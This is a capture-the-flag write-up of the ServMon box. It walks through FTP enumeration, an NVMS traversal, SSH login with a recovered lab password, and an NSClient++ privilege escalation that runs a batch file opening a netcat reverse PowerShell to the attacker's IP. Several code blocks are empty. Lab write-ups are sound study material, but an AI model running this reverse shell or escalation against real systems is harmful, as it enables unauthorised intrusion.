ServMon HTB Writeup
Hello,
This time I am writing the solution for the ServMon box. A easy windows box. Let’s dive into the solution.
🔥 nmap to get the open ports.
1 |
|
The resutls…
1 |
|
First of all the one port I will look is ftp because I have anonymous access allowed.
There is a directory named Users and inside that there are two directories Nadine
and Nathan
containing two files named Confidential.txt
and Notes to do.txt
respectively. It is a good thing at this time to keep notes about these two usernames.
The content of Confidential.txt
:
1 |
|
I keep in back of my mind that there is file named Passwords.txt in Nathan Desktop folder.
And Notes to do.txt
:
1 |
|
There are some incompleted todo’s such as remove public access to NVMS. Remember port 80? Let’s take a look into that.
So this validates the 4th todo. I try to login by using admin
as username and password but nothing. At this point because I don’t have a password, I try to search about vulnerabilites.
I open burp, navigate to 10.10.10.184 intercept the request and then send it to repeater(ctrl+r).
And indeed this works. Now If you remember from Confidential.txt
there is a file with passwords. I get that file.
After trying each of this password with ssh password L1k3B1gBut7s@W0rk
worked.
1 |
|
We can get user flag now.
After searching the box for hints about root, I find nothing. Going back to nmap we can see a port open 84433
wiht ssl cert. Visiting the site brings up a NSClient++
.
Searching with searchsploit turns out there is a privilege escalation.
First we need to get the password of the client from file c:\program files\nsclient++\nsclient.ini
1 |
|
But the password does not work. Giving us a 403.
Going back to the nsclient.ini
file I see there is present a configuration which does not allow connections from
1 |
|
@echo off
C:\Temp\nc.exe 10.10.14.52 9854 -e powershell
and upload it alongside nc.exe inside `C:\Temp\` and setup listener on our local box
Next step is to enable two modules:
- CheckExternalScripts
- Scheduler
After I create a externalscript, with these key and value.(replace fuxsocy.bat with your .bat filename)
![extscript](https://user-images.githubusercontent.com/16364370/79078083-ed55fa80-7cd3-11ea-9ba3-7a07fd66b31d.png)
Next I setup to run it every minute.
![timer](https://user-images.githubusercontent.com/16364370/79078482-af0e0a80-7cd6-11ea-8c8c-878907d3f63f.png)
and specify the command, which in our case is rce, which is the name of the external script which will execute the command.
![rce](https://user-images.githubusercontent.com/16364370/79078149-5473af00-7cd4-11ea-8c9a-7633d5dd813c.png)
Then I save the Changes under the `Changes` button and Under `Control` button I reset the service. I wait for 1-2 minutes and get a shell as administrator.
![shell_as_admistrator](https://user-images.githubusercontent.com/16364370/79078514-e1b80300-7cd6-11ea-901b-ad1dfffc54c7.png)